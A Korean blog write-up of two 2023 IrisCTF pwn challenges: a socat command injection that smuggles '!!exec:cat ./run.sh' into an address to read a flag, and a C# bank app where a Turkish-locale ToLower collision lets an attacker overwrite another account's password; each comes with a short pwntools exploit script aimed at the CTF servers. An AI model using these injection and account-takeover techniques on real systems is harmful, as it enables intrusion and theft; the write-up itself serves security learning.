2023. 1. 12. 19:47ㆍCTF
목차
01) PWN) babyseek , ret2libm
02) PWN) baby?socat , Michael Bank
03) Misc) Name that song 1, 2 , Host Issues
04) Foren) babyforens
공통) 브루트포싱 방지용 문제 자동화
익스플로잇코드에 생략된 브루트포싱 방지 문제 해결 코드는 첫 글 맨 앞에 작성하였다.
2023.01.12 - [CTF] - 2023 IrisCTF) Write-up #1 (babyseek, ret2libm)
PWN) baby?socat (478 pts)
- run.sh
#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"
FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0
- chal.c
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if(argc < 2) return -1;
if(setenv("FLAG", "NO!", 1) != 0) return -1;
execvp(argv[1], argv+1);
return 0;
}
문제에서 제공한 run.sh에서
FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0
를 실행시키는 것을 확인할 수 있다.
입력한 명령어를 소캣 명령어로 실행시킬 수 있으나 input변수가 “ “로 고정되어있고 input은 exec:./chal ls $input으로 고정되어있기 때문에 기존에 사용하는 command injection 트리거인 ;를 사용할 수 없고, ls의 옵션을 설정하고 목록을 읽어올 디렉토리를 입력할 수 있다.
이를 우회하기 위해 다음과 같은 방법을 사용하였다.
소캣 명령어 실행시 몇가지 특수문자로 명령어를 파싱한다.
,로 cq(options)을 연결하고 !!로 dq(device/address)를 연결할 수 있다.
-> 여러 개의 option과 device/address명령어 입력 가능
-> $input에 입력하여 ls외 다른 option이나 다른 device/address 명령어도 실행 가능
-> address type에 속하는 exec를 다시 사용할 수 있다.
!!exec:/bin/sh를 입력하였을 때 sh 명령어를 입력할 수 없었기 때문에 !!exec:cat ./run.sh로 파일을 읽어 서버의 run.sh에만 적혀있는 flag를 알아낼 수 있었다.
다음과 같은 익스플로잇 코드를 작성하였다.
- ex.py
#!/usr/bin/python3
# MisutgaRU
from pwn import *
import os
s = remote("seek.chal.irisc.tf", 10000)
#s = process("./run.sh")
s.sendline(b"!!exec:cat ./run.sh")
s.interactive()
irisctf{they_even_fixed_it_for_unbalanced_double_quotes}
+)
https://linux.die.net/man/1/socat
풀이는 위 글을 참고하였다.
Two single addresses can be combined with dq!!dq to form a duql type address for on channel 이라는 문장을 통해 두가지 소켓 어드레스 명령어가 !!로 결합된다는 것을 확인할 수 있다.
제작자의 라이트업을 통해 이 풀이가 unintended였음을 알게되었다.
https://github.com/Seraphin-/ctf/blob/master/irisctf2023/socat.md
제작자 라이트업에 따르면 소켓 명령어의 구문을 분석하는 코드 nestlex.c 에서 따옴표를 처리할 때 에러가 발생하는데
큰따옴표에 대한 오류는 수정되었지만 작은 따옴표에 대한 오류가 수정되지 않았으므로 닫히지 않은 작은 따옴표를 입력함으로써 이 문제를 해결할 수 있다고 한다.
내가 참고한 글에서 비슷한 내용을 찾아볼 수 있었는데, 위에 캡쳐한 내용이 이 경우에 적용되는 것인지는 확실하지 않다.
구문의 작은 따옴표에 대한 에러 처리가 제대로 되지 않았기 때문에 구문 처리기에 의해 옵션인 ls가 argv[0]인 FLAG=irisctf{they_even_fixed_it_for_unbalanced_double_quotes} 를 ls의 인자로 채택하는 것으로 예상된다.
PWN) Michael Bank (494 pts)
- Program.cs (풀이에 필요한 코드 일부분만 첨부)
static void CreateAccount()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;
foreach (var user in users)
{
if (user.ToLower() == username.ToLower())
{
Console.WriteLine("User already exists in database!");
return;
}
}
if (users.Count > 10000)
{
Console.WriteLine("Database has too many users! Check back later.");
return;
}
users.Add(username.ToLower());
userPasswords[username] = password;
}
static void ChangeCurrency()
{
while (true)
{
Console.Write("Type language code to use its currency: ");
var localeStr = Console.ReadLine()!;
try
{
var cultureInf = new CultureInfo(localeStr);
CultureInfo.CurrentCulture = cultureInf;
var curSymbol = GetCurrencySymbol();
if (!curConv.ContainsKey(curSymbol))
{
Console.WriteLine("Currency not in database.");
continue;
}
Console.WriteLine("New currency: " + curSymbol);
return;
}
catch
{
Console.WriteLine("Not a valid code.");
}
}
}
static void CheckBalance()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}
if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
else if (userBalances[loggedInUser] > 1000000)
{
Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
Console.WriteLine(File.ReadAllText("flag.txt"));
return;
}
var balance = userBalances[loggedInUser];
var convertedStr = GetMoneyInConvertedCurrency(balance);
Console.WriteLine("Current balance: " + convertedStr);
}
Ctf 가 끝난 후 라이트업을 보고 풀이하였다.
제작자의 코멘트에 따르면 언어별로 ToLower가 다르게 동작하는 점을 이용하여 문제를 풀도록 의도하였다고 한다.
검색해보니 쉽게 관련 자료를 찾을 수 있었다.
https://lunchballer.com/archives/1326
C#에서 CultureInfo 를 통해 사용자의 언어를 변경할 수 있는데 터키의 대문자 I와 소문자 i가 다른 문자로 처리되는 점을 이용하여 터키로 언어 변경 후(tr-TR) mIchael로 계정을 생성하면 toLower을 거쳐 mıchael(다른 글자)로 인식된다. 실제로는 michael계정의 비밀번호가 뒤덮히므로 내가 설정한 비밀번호로 로그인이 가능하다.
계정생성이 10000개까지 가능하고 계정 당 5 USD 씩 제공한다는 점을 이용하여 패스워드가 오픈된 bob의 계좌 전액과 새로 생성한 계정의 5 USD씩을 michael에게 송금하고 로그인하여 플래그를 획득할 수 있다.
- chal.py
#!/usr/bin/python3
# MisutgaRU
from pwn import *
import os
s = remote("michaelbank.chal.irisc.tf", 10003)
#s = process("./chal")
def menu(index):
s.sendlineafter(b"7. Exit\n", (str(index).encode()))
def create(username, password):
menu(1)
s.sendlineafter(b": ", username)
s.sendlineafter(b": ", password)
def login(username, password):
menu(2)
s.sendlineafter(b": ", username)
s.sendlineafter(b": ", password)
def change(lan_code):
menu(5)
s.sendlineafter(b": ", lan_code)
def send(money):
menu(6)
s.sendlineafter(b": ", str(money).encode())
s.sendlineafter(b": ", b"michael")
menu(4)
s.recvuntil(b"\n")
print(s.recvuntil(b"\n").decode())
create(b"a", b"a");login(b"a", b"a");send(5)
create(b"b", b"b");login(b"b", b"b");send(5)
create(b"c", b"c");login(b"c", b"c");send(5)
login(b"bob", b"bob");send(25)
change(b"tr-TR")
create(b"mIchael", b"1234")
change(b"en-US")
login(b"michael", b"1234")
menu(4)
s.recvuntil(b"\n")
print(s.recvuntil(b"\n").decode())
menu(3)
s.interactive()
irisctf{I_never_wanna_deal_with_i's_again}
Michael bank문제의 경우 생각보다 관련 자료가 쉽게 검색되었다.
조금 더 시간투자를 해서 검색했다면 해결할 수 있었을 것 같아 아쉬움이 남았다.
'CTF' 카테고리의 다른 글
2023 idekCTF) Write-up #1 (PWN/ typop) (0) | 2023.01.16 |
---|---|
2023 IrisCTF) Write-up #4 (Foren / babyforens) (0) | 2023.01.12 |
2023 IrisCTF) Write-up #3 (Misc/ Name that song , 2, Host Issues) (0) | 2023.01.12 |
2023 IrisCTF) Write-up #1 (PWN/ babyseek, ret2libm) (0) | 2023.01.12 |
2022 corCTF) Write-up (babypwn, cshell2) (0) | 2022.08.19 |